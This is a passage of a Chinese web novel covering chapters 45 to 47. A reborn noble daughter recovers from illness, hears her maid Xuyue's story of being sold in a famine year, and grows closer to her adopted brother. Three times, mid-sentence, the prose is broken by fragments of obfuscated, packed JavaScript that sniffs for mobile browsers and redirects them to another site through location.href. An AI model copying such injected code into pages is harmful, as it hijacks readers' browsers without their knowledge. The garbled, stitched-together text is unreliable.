蜜珠胡思乱想间,那长公主身边的老嬷嬷,已经带着太医进来了。 床幔拉着,蓄月帮着蜜珠小心的挽起胳膊的衣袖一角,好让老太医把脉。 蜜珠屏息静气,并不敢说话。 太医看着颇有经验,隔着床幔都能看到老长的一大把胡子。 好半晌,他诊脉完,说了些注意事项,还拿了先前的方子看了看,圈出来其中的几味药,让他们改成其他的。 末了还另外开了一个方子,让蜜府的人每日给蜜珠这样调理身体,慢慢补着。 知道蜜珠是将来的南宁世子妃,太医就没有半点怠慢,连她之前的一些小陈年旧症,都给诊断了出来。 开了方子也不愁那些调理身子的补品没处寻,南宁王府的库房里拿出了这么多现成的补品药材,甚是浩浩荡荡。 可以说,南宁王府对这个儿媳妇的重视,那是直接写在了脸上,几乎在每个行动上表露了出来。 蜜珠感受到王府的重视,心中更加复杂难言。 偏偏老嬷嬷见她低着头,以为是难为情害羞了,还在临走前对她道。 “世子先前体弱,长公主便特意从灵验的寺庙里请了一道平安符回来,后来世子身子骨就好了点。自从定了这门婚事后,长公主便一直把姑娘放在心上,前些日子特意去求了平安符。今日知道姑娘身子有些不爽利,便让老奴将平安符送来。” 一边说,老嬷嬷一边将装着平安符的香囊递了过来。 蓄月忙接过,给床幔后的蜜珠递过去。 她打开香囊,发现红色的平安符上,甚至还写了自己的名字“珠”字。 一股暖流涌进心里,蜜珠顿时愧疚到想哭。 虽说未婚夫并不像旁人家那样好,兴许连正常交谈说话都不行,可未来婆婆却是真的仁善慈祥。 “姑娘放宽心养身子,也好叫长公主放心。” 老嬷嬷临走前又宽慰了蜜珠几句。 等人都走了,厢房终于恢复安静后,蜜珠顶着有些红的眼眶,看向蓄月道。 “我心中愧疚。” 蓄月心思最细腻,且又陪着蜜珠经历了出城遇到无名拦马车的事儿,对前因后果最清楚。 见大小姐心中有纠结,想了想,站过来对她道。 “小姐该高兴才是。” 蜜珠抿着唇,一头顺滑青丝泻在身后,衬托得那张芙蓉脸愈发水灵清丽。 “高兴不起来…”心里虽然暖呼呼的很感动,却也非常愧疚,她甚至连手腕上的暗器手镯都不想要了。 谁舍得怪这样的姑娘啊。 被那双湿润润的杏眼这么一看,任谁都要心口化掉,根本不忍心让她露出任何愁容。 蓄月知道蜜珠的心结,正是知道,才觉得自家大小姐可爱。 “你与南宁世子毕竟是圣上指婚,换成别人家的姑娘只怕哭天喊地都来不及。小姐不仅没有这样,上次世子遇到刺客受伤,你还特意赶着夜里去探望他。只凭这个,你就不欠南宁王府。” 听蓄月这么一说,蜜珠心里顿时好受很多。 她其实都已经忘了之前去探望过世子的事儿。 “这两件事能相提并论吗?”她鼻尖还有些红,方才的那股感动劲儿还在,这会儿瞧着年纪也变小了似的,像个粉雕玉琢的瓷娃娃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623935|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但这瓷娃娃已经是盛开的一朵花,瞧着青葱水嫩,盛开在那儿无论谁都想要摘一下。 虽然比较可惜,南宁王世子做不了那个能欣赏花,怜香惜玉的人,但至少长公主是一个不错的良善婆家。 “小姐,做事分先后,先做的那个人,总是真心更多第一点。旁人没想到的,她先想到了,难道不是她的独到之处吗。” “南宁王府对小姐好,自然也是建立在小姐先去探望了世子,付出了这份善意和真心上。这才有了今日的投桃报李。” “小姐是闺阁女子,做事处处受捆绑限制,能冒着众人议论,夜里敢去看未曾谋面的世子,就已经很不易了。相比之下,南宁王府就像是一个大象,送来的太医、药材、乃至绫罗绸缎,都是他们不用太费劲就能付出的。” “小姐是一只翠鸟,如今翠鸟因为自己做的不如大象多,就妄自菲薄,那对翠鸟来说也有些不公平了。” 蓄月平日里话并不多,也就显得今日这番话那么难能可贵。 蜜珠几乎感动到泪汪汪。 “蓄月…” 刚刚重生的时候,因着那股劲儿,那股想要改变前世的恨意,她莫名有种膨胀了的自信,觉得好似身边发生的一切都能永远在她的掌控下。 知道曲立封要来找自己夜半相会,于是恨意上涌,打断这件事,将曲立封得罪了个彻底。 现在想来,这种做法其实并不聪明。 她完全可以用更加兵不血刃的法子,将曲立封打发了。 而不是将自己放到明面上,成为让曲立封痛恨的敌人。 但做不到。 怀着恨意的时候,她是充满恐惧的,恐惧自己的将来再次被曲立封影响,才会如此果决又鲁莽地出手。 倘若那时候她就把蓄月调到身边,多听听对方的意见,想必会有更好的处理法子。 而今好几日过去,经历的事情多了,蜜珠猝然发觉那时候的那种自信,正在悄然消失。 因为这世间原来那么大啊。 除了对曲立封恨意,还能有那么多鲜活的人。每个人都有自己的聪明才智,都有超出她的地方。 所谓重生,原来不是仗着先知先觉,以为命运会按照从前的线一成不变走下去,然后傲慢且自信地对待一切。而是去充分感受生活,认真与世间的人去相处,活出点不一样来。 蜜珠听着蓄月方才那些话,心里头翻涌出别样的情绪,很是复杂和感动。 蓄月能说出来的话,她说不出来。可见蓄月比她聪慧,也比她有本事。 可前世她却亲手将一个这么好的人推开,从而给了曲立封这样的男子机会,成为了对方挖出火坑里的猎物。 “蓄月,你有什么想做的事情吗?” 蜜珠忍不住问起对方这个。 这句话,她先前问过自己,也问过蜜林,但好像每个人都有自己不同的答案。 或者说,有时候没有答案。 女子除了嫁人之外,还能做什么?尤其是官宦人家的小姐,鲜少有抛头露面的,就是经营一些店铺产业,也需要雇一些账房先生和掌柜来替自己。 倘若不成为皇帝后宫的三千佳丽,似乎这偌大的天下,都没有女子可以为之拼搏的地方。难道就在后宅,一直当个主母吗? 有些问题从前没有想过,似乎是因着想了也没有出路。于是久而久之,便成了不太能触动的某个结。 风寒还没完全好的蜜珠,因为药性,脸颊有些潮红,眼眸瞧着水汪汪但却茫然无害。 蓄月望着这样的大小姐,沉默了一阵,才开口。 “奴婢想一辈子平安无忧。” 46.第 46 章 在这世上,其他的事求无所求。 求了能得到吗? 蓄月心中也是茫然的。 主家心地善良,她就能求个善终。但若主家不好,苛刻一些,乱葬岗里一丢也是没什么稀奇的事。 蜜珠听着蓄月的话,沉思了一阵,才又道。 “真的没有旁的想做的事吗?” 蓄月本不想说心里话的,但瞧着自家大小姐那双格外湿漉漉的眼神,鬼使神差开口道。 “奴婢喜欢观察人,也喜欢管人,若是有机会,想当个管事的。” 她打小就比普通人冷静一些,情绪起伏也小。 小时候爹娘因着灾荒年,吃不起饭的时候,蓄月就睁着一双眼主动对爹娘说:“你们把我卖了,拿点钱活过冬天吧。” 她上头有一个哥哥,家里人本想勒紧裤腰带送兄长去学堂读书习字,将来也好能使把劲儿考个秀才功名,这样也算是从面朝黄土的种地庄稼汉变成耕读世家了。 祖上也出过读书人的秀才,但那也是很久之前的事了。到了爹这一辈,依然期盼着能让后代恢复一点祖先的荣光,不要彻底沦为庄稼汉。 兄长并不爱读书,厌烦那些个繁文缛节和咬文嚼字,但偏偏因着是男儿,就要背负全家的期待。 而她虽喜欢读书,天生对读书人向往,却也因为女儿身,只能在家中帮着做些简单的活计,想着将来长大了,靠着一门亲事的聘礼,给兄长攒点娶亲的钱。 可惜这些盘算都没能等到将来实现。灾年就连饭都吃不起了,一家人一天只能喝一点稀粥,专门养来生蛋的鸡也没熬过去生了病没了。 爹娘整日愁眉不展,兄长也躺在榻上,因着发热看不起大夫,只能硬生生的熬。 眼瞅着这个冬天是熬不过去了,屋子里在漏风,爹找了点木材挡住了缝隙,但只要不生火就还是冷飕飕的打寒战。 有同村的人过来问爹,要不要把她卖了,省得留下来多一口人的饭,大家都活不过去。 爹抽着用叶子卷起来的旱烟,没有吭声。 她就知道,爹心里是愿意的,只是过不掉心里这一关。 同村的人都走了,和爹说让他考虑一晚,考虑好了,明儿她带人牙子过来领人。 蓄月就一直站在门后看着爹,看他爹穿着破旧的夹袄,旱烟没抽一会儿就到了尽头,地上连个火星子都瞧不见。 她回头看看娘,米缸里已经见底,就那么一小把陈米,但娘却总希冀着奇迹出现一般,时不时就要凑过去,用手一颗一颗的看。 他们看起来就是这个灾年里随处可见的破烂。 只等冬日一过,所有人就都没了。 蓄月那时候就发现了,自己和一般人不一样,她知道爹想卖自己,却没有伤心,也没有难过,只有冷静。 小小的心里盘算着自己被卖了之后,将来这个家会不会好一点? 于是这一日没等天黑,没等爹熬过去良心这一关,她就主动对爹娘说了这话:“爹娘,我愿意跟人牙子走。去当大户人家的丫鬟,还能吃饱饭,比在这强。” 她得这么说,爹娘才能觉得少点愧疚。 娘一下子就哭了,抱住她嗷嗷的哭,还去打爹,说他是丧尽良心了,才会想要去卖孩子。 蓄月没吭声,她是爹娘生的,但却似乎只学会了爹在面对大事的沉默,没有学会娘的情感。 直到离开家,被人牙子牵着带走,看到身后兄长病着从屋里追出来。 她不仅没有好好告别,还对兄长说了重话。 “兄长若是有出息,考中了秀才有功名,这等灾年我就不用被卖了。” “先前兄长贪玩,这个灾年有我。以后兄长贪玩,下个灾年就没妹妹再卖了。” “兄长不能撑起这个家,就愧对我。” 她看到还在发热的兄长,一下子怔在那,像被雷击,面色颓败,心里知道今日自己说的这一番话,会成为一根刺扎在兄长心底。 但有刺是好事,能激发男儿血性。 蓄月回想自己的这些经历,意识回到当下,望着面前温暖的厢房里温柔仙子一般的大小姐,轻声重复道。 “若是能不嫁人,当个自梳女,小姐又不嫌弃我,我就给小姐当一辈子的管事。” 她生来情感淡漠,就连对血亲之人都缺少感情,更别提将来要和一个男子结为夫妻了。 月银多一些,自己能说上话,管起事儿,派上用场,反而让蓄月更开心一点。 这些东西都是实实在在放在眼前的,只要她把事儿干好,就能拿到。 蜜珠还是头一次听蓄月说起这个。 前世被她随手打发到外院里的蓄月,心中似乎藏着一个不需要在乎别人想法的世界。 她杏眼亮晶晶的点头:“自然不嫌你,蓄月心思细腻看人又准,能遇到你做管事,真是我的福气。” 被大小姐一顿夸夸,蓄月原本淡漠的情绪,骤然舒展了一些。 兴许,她不是没有感情,而是这些感情都建立在自己被人认可的基础上才出现。 …… 此时的南宁王府,长公主好奇地问华宣。 “你怎知蜜珠生了病?” 今日一早儿子就让她用王府的名义,遣常嬷嬷和太医去蜜府看人。 当时长公主还觉得此举是否太冒昧了。 毕竟他们人坐在府上,距离蜜府也有些距离,怎么会连人家姑娘有个头疼脑热都立马知道呢。 可惜她这儿子不想回答的事儿,那是怎么问也问不出来的。 长公主已经在一旁旁敲侧击问了半天了,也不见华宣抬眼一下。 他已经答应蜜珠,不再让暗卫出现了。 那么从暗卫那儿得来的消息,便也不能告诉旁人。 若早知道蜜珠的身子骨那么弱,他昨夜就不该在那儿说那么多话。 什么话等到来日成亲了不能说? 听到人家姑娘病了,华宣才开始自我反思。 他…怎么变成了这样,像个毛头小子。 只恨不得日日蹲在蜜府当那个无名。 蜜珠这一养病,她的院子顿时成了最热闹的地方。 蜜云几乎一直在她陪着不走,哪怕她说受了风寒怕传染,蜜云也摇着脑袋,像个可爱的幼兽一般黏在她身边。 如今阿晴教习已经回来,蜜云哪怕是在自己院子里,也能正常去习武。 但她怕被刘小娘说,便还是留在蜜珠的院子,图个清净。 她待这儿,蜜林看到了,顿时也不干了,一从学堂回来就也飞奔过来,说要和蜜云一块儿跟着阿晴教习习武。 小柳儿见他们在院子里弄出动静,怕吵着自家小姐,便对蜜林道。 “林少爷,您想习武,去和老爷说,他一定有门路。” 前几日她还听见林少爷说起,要和老爷讲清楚去习武的事儿呢,怎么一转头就又凑到大小姐跟前来了。 二小姐在院子里跟着阿晴教习就算了,毕竟二小姐一贯就安静,会顾忌着大小姐在养病,不会弄出什么大动静。 但林少爷就不同了,除了这几日安静了一下之外,从来到府里以后,林少爷就一直跟只泼猴似的上蹿下跳没安分过。 指望林少爷能有女儿家的那种细心体贴,那不如指望母猪上树。 小柳儿护主心切,哪怕是对着府里唯一的少爷,也依然把自家大小姐放在第一位。 瞧着小柳儿这么说,蜜林登时就不干了,昂着脑袋神气道。 “这事不急,等嫡姐身体好了,我再去。我打听过,方圆书院不仅教人读书习字,还教人习武,里头可出了不少武状元。” “本少爷若是去了方圆书院,哪里还有空来看嫡姐。不急不急。” 小柳儿方才虽然是想让蜜林走,但话说的并不那么生硬,以至于蜜林压根没听出来对方的意思,还反过来问。 “让我进去看看嫡姐不?我给她带了好东西。” 毕竟还没长大,是个半大小子,过去刚来陌生环境的那股敌意被磨平了后,他开始融入蜜府。 而蜜珠就成了他在这个家里,第一个生出信任与亲近的人。 口蜜腹剑的人,通常嘴上说话好听,但做事却透出没有良心的意思,所以一旦被人看到做的事,就会被扯掉伪装。 在蜜林心中,将他带回来的蜜老爷就好比那样的人。 而嫡姐则是“刀子嘴豆腐心”,虽然嘴上说他不留情,但却会在雨夜里特意来寻他,还会给他请教习习武。 嫡姐的好,不是她自己说出来的,而是蜜林自己发现的,所以更加真实。 小柳儿见蜜林说话认真,并无以前的顽劣,想了想,还是进去禀告小姐了。 蜜珠听到蜜林要进来看她,有些诧异。 “让他进来吧。” 她其实下午睡了一觉后就大好了,不再那么虚弱无力,脑袋里也少了很多混沌。 南宁王府的太医把方子改过后,药效似乎更好一些。 蜜珠衣裳穿好,坐在榻上,翻着手里的穴位图。 脑子好用了,还来得及把这些都记住,后日按时回月夫人那儿去。 没一会儿,小柳儿领着蜜林进来了。 床幔被拉起来了一半,室内为了适当通风,窗开了一半,有还没落下的夕阳把光洒进来。 蜜珠坐的位置,刚好有一缕斜阳照着。 她看着穴位图时,金色的暖光就这么笼罩着她。 蜜林进来时,瞧着这一幕,脚下的步子莫名就顿住了。 他再次记起来,京城里的那些人都在传,蜜太史令家的大姑娘容颜倾城,是不可多得的美人,所以那些纨绔才会在见过一两次后惊为天人,把蜜珠的名声捧上天去。 蜜林忽然觉得,那些纨绔虽然不着调,也没个正形,但起码他们眼睛是好的,能分辨出美丑,讲的话也不夸张。 倒是他,刚来蜜府的时候,不知道脑袋瓜里塞了什么,竟然会觉得嫡姐也就那样? 想来是他那会儿被猪油蒙了心,没看到嫡姐身上闪的光。 没瞧见么,但凡接触过嫡姐的人,无论是阿晴教习,还是先前的无名教习,还是南宁王府,又或者是蜜云,全都喜欢嫡姐。 这样一看,他粘人一点,也没什么。 毕竟他比蜜云还要小上一些,蜜云能常常来找嫡姐,他就找不得? 也不知道这是一种什么样的情绪,蜜林越走近蜜珠,就越不自在,手脚都不知道该往哪里放了。 “和爹说了要习武的事了吗?” 蜜珠主动开口。 蜜林顿时松了一口气,觉得方才嫡姐给的那种清冷感消失了,重新变得平易近人起来。 “还没说,可我打听过,我有同窗想去方圆书院读书,那里的夫子能文能武,更厉害。将来若是有本事,还能成为武状元呢。” 蜜林说起这个,瞧着极有信心。 蜜珠思量了一下,想着爹应会答应蜜林的要求。 进了方圆书院,不论如何,将来都能多出一批遍布五湖四海的同窗。 蜜林在读书上的天分不显,显然不能走科举当文官的路子,那么试试习武也算多了个出路。 多些人脉,将来无论做什么,都能有个出路。 “你真的想好了?若真走武将这条路,将来是要放到战场上去的。战场上刀剑无眼,和京城这里的平安顺遂不一样。” 蜜珠柔柔开口,给一时兴起的蜜林分析其中的关键利弊。 “还有,爹毕竟是文官,时下重文轻武,武将不比文官体面。你若只是习武强身健体,爹兴许还支持,可若真当成将来要做的事儿,爹会嫌丢了面子。” 蜜老爷除了重视自己的官位和升迁之路外,最重视的就是名声了。 不然也不会因为生不出儿子,背地里各种东奔西走,最后从宗族里将蜜林过继来了。 听着蜜珠这样说,蜜林一下耷拉了脸,但很快振作起来,看着决心不改。 “嫡姐,我总要靠自个儿闯出条路的。否则家业再大,也会坐吃山空。何况爹的官位又不是那种能袭爵的,我没本事的话,将来靠谁?” 以前蜜林是不想这些事儿的,他一直为着自己的出身自怨自艾,忧愁和担心过继自己的人,心底里其实看不起他,他是外来的,得一直要为自己谋算。 自尊心过于强,但又无法相信别人,才有了先前那样对蜜府众人的情况发生。 但而今,他顶着蜜府林少爷的名头,觉得越来越踏实了。 “嫡姐,我说的有没有道理?” 说完方才那些,蜜林还眼也不眨看着蜜珠,想得来长姐的肯定。 蜜珠看了他一会儿,恍惚间发现,这孩子瞧着和前世的时候,真是大不一样了。 前世蜜珠几乎没有认真看过蜜林,只晓得这是爹好不容易盼来的好大儿,和她们这些女儿不同,是宝贝金疙瘩。 她怕闯祸,也怕纷争和冲突,所以哪怕和蜜林遇上了,也向来是能避就避的。 她心里头一直期盼着自己能早些嫁给曲立封,有了自己的家,这样就不用在蜜府这般小心翼翼了。 至于蜜林…她心底里其实并不看好对方,只觉得这样不学无术但又顽劣的少年,纵使衣食无忧,等大了约莫也是败坏家业的。 但再瞧而今的蜜林,当真和前世不同了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13638914|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对方精神奕奕,说话时红光满面,眼神也亮亮的,不再阴郁,反倒是真的有了那股子少年生气勃勃的气息。 “你有自己的主见,很好啊。”蜜珠笑了笑,头一次对蜜林露出如此真心的笑容。 她本就生的美,如今少了过去的畏缩怯懦,笑起来越发明亮灿烂,简直有种雨后阳光在照耀人的明媚感。 蜜林顿时感觉自己我肯定了,方才心里的那点不自在消失得无影无踪。 “对了嫡姐,我给你带了好东西。” 傻乎乎咧开嘴笑了一会儿,蜜林忽然想起什么,低头去怀里拿东西。 只见他从怀里拿出一面巴掌大的镜子,上面还妆点着像是宝石一样的东西,瞧着有种异域的精致感。 正面的镜子虽然也是铜镜,但胜在整个小镜子有新意,且方便携带。 京城贵女们时常会出去聚聚,下马车之前,若是有这么一个不起眼又不占地方的小镜子,对着照照,整理一下仪容,想必会很好。 “先前听说有一波西域过来的走商,被官府抓起来,说是在使什么邪术害人。他们带的货物倒是挺好,一出手就被本地的铺子进购了。这铜镜卖得极好,到我去的时候,刚好剩下最后一个。我给嫡姐拿来了。” 蜜林说起这些时,昂首挺胸,大有一种自己也出息了,会关心亲人了的架势。 蜜珠并不那么重视容貌,对于梳妆打扮的兴致,在重生之后也不怎么高,但小铜镜是作为亲人的蜜林送的,意义就不一样了。 “谢谢。” 蜜珠并没有推托,亲手接过了小铜镜。 见嫡姐没有拒绝,而是小心将小铜镜收好,蜜林别提多开心了。 他觉得这是自己被接纳为亲人的表现。 这可是他头一次给亲人送东西! 打从爹娘都去了之后,蜜林就没在心底里接纳过别人。 蜜珠这边收下了弟弟的礼物,寻思着自己作为长姐,也得做点什么回礼,想了想,她让小柳儿拿了一张银票过来。 “你若真去了方圆书院,往后手里定然要有些银子打点,咱爹虽然也是个官,能面见圣上,但比他大的官员比比皆是。你去了书院之后,手里该花的银子也要花,不能让人觉得你寒酸了。须知外人向来捧高踩低,趋炎附势也是常态,人靠衣装,哪怕是面儿上,也要把自己弄得妥帖了一些,免得旁人孤立了你。” 说着这些时,蜜珠把面值一百两的银票递给蜜林。 后者一开始没反应过来,等看清楚了手里的银票面值,人整个就怔在那儿,脸一下子红起来,像是煮熟的螃蟹壳,开始手足无措。 “这…我不要。” 就跟被丢了一个烫手山芋在手里,蜜林几乎想要落荒而逃。 心中越是向往亲情的人,实则最怕别人轻易对他好,这种好若是不带任何目的,就更加令人无法面对。 旁人若是辱骂讥笑或是嘲讽,那都没什么,只要把心硬起来就行。 可硬着的心就怕遇到最真心的关怀。 蜜珠见他涨红了脸,坐立不安的样子,猜想他是面皮薄,不好意思接受,不由笑了,逗趣他道。 “往后你不是要当武状元,还要当我和蜜云身后撑腰的娘家人么。怎么这般见外?” 蜜林别开脸,还带了几分稚嫩的脸上冒出了很多情绪,眼里更是复杂万分。 “那是以后的事…我现在还不是武状元…我手里也不缺银子。” 自从来了蜜府之后,每个月都有月银,他其实够花。只是比起京中其他的贵公子哥,手里拮据了一些,但那也没什么,人贵要明白自己的身份。 他怎么能拿嫡姐的钱呢。 男子汉大丈夫,这个腰不能弯。 面红耳赤的蜜林,不等蜜珠再说什么,站起来就跑了。 “我隔日再来看嫡姐,我还有事先走了!” 厢房里的众人只是一时没反应过来,就眼睁睁瞧着蜜林跟只矫健的猴子一般,夺路而逃,活像是有人在屁股后头追。 纵然先前小柳儿对蜜林的印象不好,这会儿都忍不住噗嗤笑了出来。 在林少爷这个年纪,一百两已经是通天的一笔钱了,可即使这样,在大小姐给出银票的时候,林少爷也没有收下,而是结结巴巴拒绝了离开。 这就让人生出了好感。 蓄月看着方才的这一幕,唇角弯了弯,忍不住问蜜珠。 “小姐为何想要给林少爷银票?” 按理说,这不该大小姐去管的事。 林少爷虽然不是老爷亲生,但毕竟被过继来,已经是名正言顺的嫡子。作为蜜府的嫡子,手里也肯定不会过于拮据。 说直白一些,要不是大小姐有了南宁王府的这桩婚事,手里稍微宽裕了点,若只比手里拿到的月银,林少爷是比大小姐要多的。 “从前只当蜜林性子顽劣,心中对他不喜。可现下才知道,人都有难言之隐,成为什么样有什么性子,要看出身经历,而不是只怪他自己。” 她其实并没做什么,只是对蜜林比前世多了几丝关注而已,但这个继弟就因此而大不一样,显得活泼开朗和进取起来。 这几日都已经不再听到蜜林在府里闯祸,亦或是顶撞母亲、从学堂跑走的事儿了。 “他年幼失去双亲,又无人教导,过去与其说他捣蛋闯祸,不如说是在用这种法子吸引注意,想让人真心关注他。” 蜜珠缓缓开口,声音温和,莫名让人觉得她很温柔,语调令人生出亲近之意。 蓄月接过了蜜珠的话:“所以大小姐才会想要关怀林少爷。” 蜜珠点头。 平心而论,她娘性子温和宽厚,甚至以前能算是有些懦弱的,这样的人当然不会去专门苛待别人。 但王氏也绝对不会发自内心去关怀蜜林。 表面温柔的王氏,心中其实很分亲疏远近,除了将女儿真正放在心上外,其他人都没什么分别,最多起一些怜惜罢了。 甚至有时候,王氏会秉持着一种多一事不如少一事的处世之道。 “我既是长姐,而今又要出嫁了,能多做一点就多做一点吧。” 蜜林笑容温婉。 “而今正是引导蜜林关键的时候,若能多点关怀将他引到正道上,对整个蜜家来说都好。” “蓄月,你办事沉稳,将这银票送过去,莫要再让他拒了。” 蜜珠这般叮嘱,蓄月自然是应了好。 等到厢房重新安静下来,蜜珠却忍不住摇头笑。 她两次想把银票送出去,上次想要给无名,被拒了,这次换了面额想给蜜林,也被拒了。 怪哉,天底下还有不想收钱的人。 47.第 47 章 身子略微好些之后,蜜珠夜里就点了灯,细细的背草药特性。 小柳儿怕她伤眼睛,不住劝她。 “小姐,你身子还没大好,不要这么熬。” 都说富贵人家闲散,怎么在他们姑娘这儿,越是接触到身份高的人,规矩就越多,人身上的活儿也越多呢。 小柳儿拿着蒲扇,轻轻给蜜珠扇风,不让她太热。 蜜珠无奈瞧她一眼。 “我再看一会就好了。你先去歇着,不用管我。” 小柳儿自小和她一块儿长大,有时候就像个小尾巴,总爱跟在她身旁粘着。 见蜜珠不愿意去歇着,小柳儿也不闲着了,找出一个账本来,坐过去让蓄月教自己记账。 先前蜜珠让蓄月盘下来的铺子,再加上从王氏那继承的铺子,全都被改成了做粮食生意。 改成了粮铺之后,一开始生意还不显,但这段日子明显感觉到,店铺生意好了一些。 以前小柳儿并不爱读书写字,稍微认了几个字能勉强看懂书信后,就不爱再碰了。但瞧着蓄月在蜜珠身边,因为会的东西多,凡事都愿意积极主动去学,也生出了几丝进取心。 是以才缠着蓄月给她教教怎么看账本。 那些管理铺子的账房和掌柜,若是卖身契不在主家手中,只是被雇佣,偶有仗着聪明做假账,来糊弄主家,然后自己吞下钱财的。 所以主家身边的丫鬟婆子们,就得有一双利眼,能帮着主家分辨真假,这样让主家做事愈发事半功倍。 蓄月被放到外院的这段日子,也没有闲着,时不时会关注府里的动向,思考若是自个儿被提拔,成了管事,或者主家身边得力的人,该从什么地方增加自己的价值。 机会果真等来了,但却没想到,会是昔日显得绵软的大小姐,重新启用自己。 她如今手里管着四个铺子,更要擦亮眼睛帮大小姐管好账册。若是小柳儿能多会一些这方面的东西,便能减轻自己的负担。 所以蓄月教起小柳儿的时候,不曾藏私,甚至细细给她讲起其中的一些道理。 蜜珠背完了一页的药草特性,便注意到身边的两个贴身丫鬟正在专注说账本的事。 她竖起耳朵听了一会儿,杏眼都亮了起来,意识到蓄月果真是有真本事的,思路缜密,讲起东西来深入浅出,很容易令人听懂。 她好奇地凑了过来。 “蓄月,你是怎么懂这么多的呢?” 她记得娘是从人牙子手里把蓄月买来的,显然在来到蜜府之前,蓄月的出身并不如何富贵,但说起很多东西来,一旦有了发挥的机会,就头头是道。 见蜜珠问,蓄月垂下眼,并没隐瞒。 “先前在外院,我将攒下来的月银给府里的老人,让他们空闲的时候教我一些东西。不求学到什么精髓,哪怕皮毛框架也成,日后若真有机会上手做事儿,也比常人快一些。” 偌大一个蜜府,下人也不算少,总有一些怀着点技能的人。她不吝啬银子,愿意投其所好,日子久了,自然也被教了一耳朵。 而今正是派上用场的时候。 听了蓄月的回答,蜜珠和小柳儿都有些惊异。 “哇,蓄月姐姐,你太厉害了。” 小柳儿作为蜜珠的贴身婢女,因着两人亲密,她也就很少去做什么太累的活儿,在整个蜜府,应都算是比较顺遂的了。 所以听到蓄月能为了将来,铺垫如此之久,提前做准备学东西,不惜把月银都送出去,心中很是感叹。 蜜珠也极为震惊。 “蓄月,你是能做大事的人。”她郑重开口,给出肯定。 蓄月细长的眼睛,因为听到了大小姐的夸赞,而笑起来变成一条缝。 “大小姐抬举我了。” 蜜珠认真点头:“我是说真的。常人若是有你这样的坚持,还有为了机遇提前做好准备的心,什么事做不成呢。就是那些王侯将相,能封侯拜相,不也是因着他们的先祖,第一代做出了点什么,才撞上了出人头地的机会么?” 说起这个,就会想到如今的大令朝。 当初京城里的权贵,还不是这会儿的那一批,是后来随着太祖打下江山的一批人,被各种加官进爵,才形成了而今的圈子。 被蜜珠这么一顿类比开国功臣的夸,哪怕蓄月性情冷淡一些,眼里也不由浮现了几丝真切笑意。 “但我是个女儿身,大事如何能成,将来能在小姐手底下当个厉害的管事,也算不辜负了小姐对我的期待。” 说这话时,蓄月看着自家大小姐的容颜,将另一句话咽回了肚子。 小姐若是在深宫中,凭借体贴入微的性情和这样的容貌,她也能有斗志帮着筹谋一番,小姐当个宠妃,她则当个宫女头头。 什么样的人,就适合在什么样的位置。 蓄月晓得自己没有儿女情长的心思,反而是实实在在能看到的银子、地位,才能令她心里涌出点实际感。 大小姐这些日子来,虽然已经和从前不太一样,起码避开了曲立封那样的绣花枕头,但心没变,就还是容易在情这个字上栽跟头。 好比那之前几次三番过来,亲自教小姐武艺,送上暗器,还帮忙找二小姐的无名。 若人心里没有什么情愫,犯得着三番五次来接近小姐么。 那无名虽然自称为无名,且又带着面具,但瞧着那般武艺,在江湖上也有不少手下,想必不会是寂寂无名之辈。 这样的人,会甘心不求回报地对一个将要嫁与别人的女子好吗? 蓄月难免将那无名往坏的地方想了想,心中始终有些提防。 距离大婚还有两个月,这么长的一段日子,也不知道还会不会有什么变数发生。 蜜珠并不知道蓄月在替自己担忧大婚的事,她自觉上次已经和无名说清楚一切了,想来对方也不会再来打扰自己。 也不知道为什么,她连无名的真面目都没看到过,却对他有一些说不清的信任。 又和蓄月二人闲聊了一阵,蜜珠觉得乏了,终于躺回榻上休息。 翌日天亮,她觉得身子大好了,喝了小柳儿端来的补汤,让她们给自己梳妆。 “小姐,你这是要出门?”小柳儿不解。 蜜珠点头:“去一趟白府,今日是最后一日了,明儿就要去见月夫人,我不能什么准备都没有。” 她虽然在去学规矩之前,对所谓的教养嬷嬷并没有什么期待,但真的去了月夫人府上,却明白,已经的自己实在是井底之蛙,太过于自以为是。 因为她没能接触到外界,便以为一切都和她以为的那般,贵族都是庸俗的蠢人。 曲立封也常和她说,世间其他人有多蠢笨如牛,只要稍微摆布一番,就能当做棋子。 那时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655921|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜜珠只是听曲立封这么说着,却没有判断对错的心智,甚至还因为对方说起这些话时表露出来的自信,觉得曲立封有运筹帷幄之姿,是天生当官的人。 回想往日,蜜珠觉得蠢笨的人其实是自己。 她看这个世界,不是用自己的眼睛,而是用别人的。 虽是重活一世,却好像从这一世开始,才算真正的迈出活着的步子。而不是只将自己缩在后宅,自己吓自己认命。 事实证明,不管是她后来接触到的月夫人,还是白豆蔻、姜芊,都有自己的独到之处,甚至胜过她。 大概是因为前世她活得过于懦弱和闭塞了,才会将世间一切想成那样。 天已经大亮,街道上已经有许多叫卖的小贩们经过,蜜珠在轿子里掀起一角帘子,下意识看向四周。 